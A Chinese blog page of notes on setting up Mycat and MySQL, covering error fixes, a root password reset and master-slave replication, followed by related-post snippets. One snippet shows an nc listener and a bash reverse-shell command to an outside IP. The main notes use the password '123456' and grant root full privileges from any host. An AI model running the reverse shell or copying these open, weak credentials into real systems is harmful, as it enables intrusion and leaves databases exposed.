mycat部署在本地, mysql也在本地的情况下, 连接mycat会报错

ERROR 3009 (HY000): java.lang.IllegalArgumentException: Invalid DataSource:0

原因:

https://www.jianshu.com/p/f15d64fcb2f3

mycat部署在本地以zk方式启动的时候, 初始化zk的时候, ./init_zk_data 会报错:

错误: 找不到或无法加载主类 io.mycat.config.loader.zkprocess.xmltozk.XmltoZkMain

因为是mac系统, 没有权限读取mycat的jar包, 导致zk无法正常加载....弃用, 购买阿里云ecs

关于自增id, 这篇博客讲的可以:

https://blog.csdn.net/yijiayi810/article/details/80094218

macos完全卸载mysql:

https://blog.csdn.net/u012721519/article/details/55002626

踩过的坑:

mycat1.6不支持单库分表;

最少要mycat1.6.5版本才支持单库分表;,

下载地址:

http://dl.mycat.io/1.6.5/

mycat自增主键的解决方案:

https://segmentfault.com/a/1190000015862596?utm_source=tag-newest

https://www.cnblogs.com/chinesern/p/7954373.html

https://blog.csdn.net/yelllowcong/article/details/79073608

忘记root密码;

①关闭服务:

sudo service mysql stop;

②安全模式+免验证启动服务

sudo /usr/local/mysql/bin/mysqld_safe --skip-grant-tables
 

  ①新开一个终端,连接服务器:
新开一个终端:
mysql -u root

 ②切换到mysql数据库:
use mysql;
 
③修改密码 
update user set password = password('123456') where user='root';
4.重启mysql;
service mysqld restart; 
 
5.允许所有ip访问:
 
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;
 
 
主从复制:

1、配置master(主服务器)

vim /etc/my.cnf
#[必须]启用二进制日志
log-bin=mysql-bin
#[必须]服务器唯一ID,默认是1,一般取IP最后一段
server-id=60
重启
service mysqld restart
 
2.查询master(主服务器)的状态
mysql -uroot -p
show master status;
 

3.在主服务器上创建备份专用帐户

mysql -uroot -p123456 -e "GRANT REPLICATION SLAVE,RELOAD,SUPER ON *.* TO 'backup'@'%' IDENTIFIED BY '123456';"
mysql -uroot -p123456 -e "flush privileges;"
 

2、配置slave(从服务器)

vim /etc/my.cnf
# 启用二进制日志
log-bin=mysql-bin
#[必须]服务器唯一ID,默认是1,一般取IP最后一段
server-id=35
 

3、重启mysql服务

service mysqld restart
 

4、配置Slave启动主从复制
a、进入到mysql命令窗口之中:mysql -uroot -p123456
b、如果现在你已经启动从主机,先关闭:stop slave;

c、如果停止之后还想重新启动,则必须清除所有的日志信息:flush logs;

d、启动从服务器复制功能

//注意master_log_pos值经常会变化,记得执行如下命令前先执行"show master status;",得到最新的Position列,154数字前后无单引号。
change master to master_host='192.168.1.60',master_user='backup',master_password='123456',master_log_file='mysql-bin.000001',master_log_pos=154; start slave;
参数描述:
master_host=主服务器IP
master_user=在主服务器上创建的备份用户名
master_password=备份用户密码
master_log_file=查询master(主服务器)的状态得到的File列的值
master_log_pos=Position列的值
start slave:启动从服务器复制功能
 
 

5、检查从服务器复制功能状态

mysql -uroot -p123456 -e "show slave status\G;" 
 

主要查看以下两项:

Slave_IO_Running: Yes
lave_SQL_Running: Yes

Slave_IO及Slave_SQL进程必须正常运行,即YES状态,否则都是错误的状态(如:其中一个NO均属错误)。
以上操作过程,主从服务器配置完成。

我在一次配置过程中忘记在主服务器上创建备份用户,Slave_IO_Running 就一直处于“connect”状态;或者防火墙没关闭导致无法连接master服务器。

在b数据库测试a数据库的backup账户是否可用:

mysql -ubackup -p123456 -h192.168.72.210

 
 
相关命令:

mysql -uroot -p123456 -e "GRANT REPLICATION SLAVE,RELOAD,SUPER ON *.* TO 'backup'@'%' IDENTIFIED BY '123456';"

mysql -uroot -p123456 -e "flush privileges;"

change master to master_host='11.8.39.198',master_user='backup',master_password='123456',master_log_file='mysql-bin.000003',master_log_pos=120;
start slave;

mysql -uroot -p123456 -e "show slave status\G;"

GRANT ALL PRIVILEGES ON *.* TO 'backup'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;

 
学习链接:
 
主主同步:
 
读写分离策略理解:
https://www.cnblogs.com/kevingrace/p/9365840.html

mycat搭建环境的更多相关文章

  1. Mycat搭建负载均衡,读写分离的Mysql集群

    Mycat搭建负载均衡,读写分离的Mysql集群 准备环境 1.mysql-5.7.24-linux-glibc2.12-x86_64.tar.gz 2.Mycat-server-1.6.7.4-te ...

  2. Xamarin 跨移动端开发系列(01) -- 搭建环境、编译、调试、部署、运行

    如果是.NET开发人员,想学习手机应用开发(Android和iOS),Xamarin 无疑是最好的选择,编写一次,即可发布到Android和iOS平台,真是利器中的利器啊!好了,废话不多说,就开始吧, ...

  3. AspectJ基础学习之二搭建环境(转载)

    AspectJ基础学习之二搭建环境(转载) 一.下载Aspectj以及AJDT 上一章已经列出了他的官方网站,自己上去download吧.AJDT是一个eclipse插件,开发aspectj必装,他可 ...

  4. app整体搭建环境:tabBar切换不同控制器的封装(自定义导航+自定义uiviewcontroler+系统自带tabbar+自定义tabbarController)

    首先,一个app的搭建环境非常重要.既要实现基本功能,又要考虑后期优化的性能. 现在很多应用不仅仅是系统自带的控制器,由于需求复杂,基本上需要自定义多控制器来管理. 新建一个BasicNavigati ...

  5. [转]phonegap 2.9 IOS Xcode 搭建环境

    phonegap 2.9 IOS Xcode 搭建环境   一:下载phoneGap2.9和安装Xcode5(目前最新版) 选择2.9是因为3.0以上坑爹版本编译神马的要在有网络情况. 二: 下载ph ...

  6. 基于CentOS与VmwareStation10搭建Oracle11G RAC 64集群环境:2.搭建环境-2.7. 配置资源与参数

    2.7.配置资源与参数 2.7.1. 修改主机名称 [root@linuxrac1 ~]# cd /etc/sysconfig [root@linuxrac1 sysconfig]# vi netwo ...

  7. 基于CentOS与VmwareStation10搭建Oracle11G RAC 64集群环境:2.搭建环境-2.6. 安装Oracle所依赖的必要包

    2.6. 安装Oracle所依赖的必要包 2.6.1. 检查Oracle所依赖的必要rpm包 [root@localhost /]#rpm -q binutils compat-libstdc elf ...

  8. 基于CentOS与VmwareStation10搭建Oracle11G RAC 64集群环境:2.搭建环境-2.5. 配置网络

    2.5. 配置网络 2.5.1. 配置网络 Oracle Rac数据库涉及到公用网络和私有网络,因此要做网络划分和IP地址规划,下表列出了要安装的RAC数据库对应的IP地址.主机名以及网络连接类型: ...

  9. 基于CentOS与VmwareStation10搭建Oracle11G RAC 64集群环境:2.搭建环境-2.4. 安装JDK

    2.4.安装JDK 2.4.1.准备JDK 在百度搜索:JDK下载 2.4.2.上传JDK put E:\软件安装文件\jdk-8u11-linux-x64.rpm /home/linuxrac1/D ...

随机推荐

  1. C/C++输入

    fgets(str,n,stdin) 从键盘输入一行,替代gets().读取到n-1字节时或换行符时终止,如果是文件的话,读到文件结尾也会停止 getline(cin,str) str的类型必须是st ...

  2. 各种DTO类最好有 无参数的构造方法

    以一下这个类为例 @Getter @Setter @ToString class Person { private String s; public Person(String s) { this.s ...

  3. SQL题(子文章)(持续更新)

    -----> 总文章 入口 文章目录 [-----> 总文章 入口](https://blog.csdn.net/qq_37214567/article/details/90174445) ...

  4. 线程池(3)-参数-实现ThreadFactory

    1.介绍 ThreadFactory用来创建线程,需要实现newThread方法. 2.常用场景 线程重命名 设置守护进程 设置优先级 3.示例(线程重命名) public class ThreadF ...

  5. localstorage 必知必会

    做项目中发现localstorage在不同的域名下是不能相互访问的,于是找到了以下这篇文章,对localStorage做一个深入的了解 HTML API localstorage在浏览器的API有两个 ...

  6. JVM命令行参数

    root@ubuntu-blade2:/sdf/jdk# javaUsage: java [-options] class [args...] (to execute a class) or java ...

  7. mysql数据库出现无法登录(ERROR 1045 ),预防和解决及系列问题解决方法。

      一 .当在windows下使用mysql数据库时,出现无法登录的现象,需要修改mysql数据库的roo密码时,我们可以使用一下两种方法. 1. (1)关闭mysql服务.然后在bin目录下使用cm ...

  8. Android反编译,apk反编译技术总结

    1.谷歌提供的工具:android-classyshark 下载地址:https://github.com/google/android-classyshark/releases,下载下来之后是一个可 ...

  9. Ubuntu -- 反射shell nc

    攻击机: apt-get install netcat nc -lvvp 80 受害机: /bin/bash -i >& /dev/tcp/139.xxx.18.xx/80 0>& ...

  10. minicom调试4G网卡

    [root@localhost toybrick]# minicom -D /dev/ttyUSB2 Welcome to minicom 2.7.1                          ...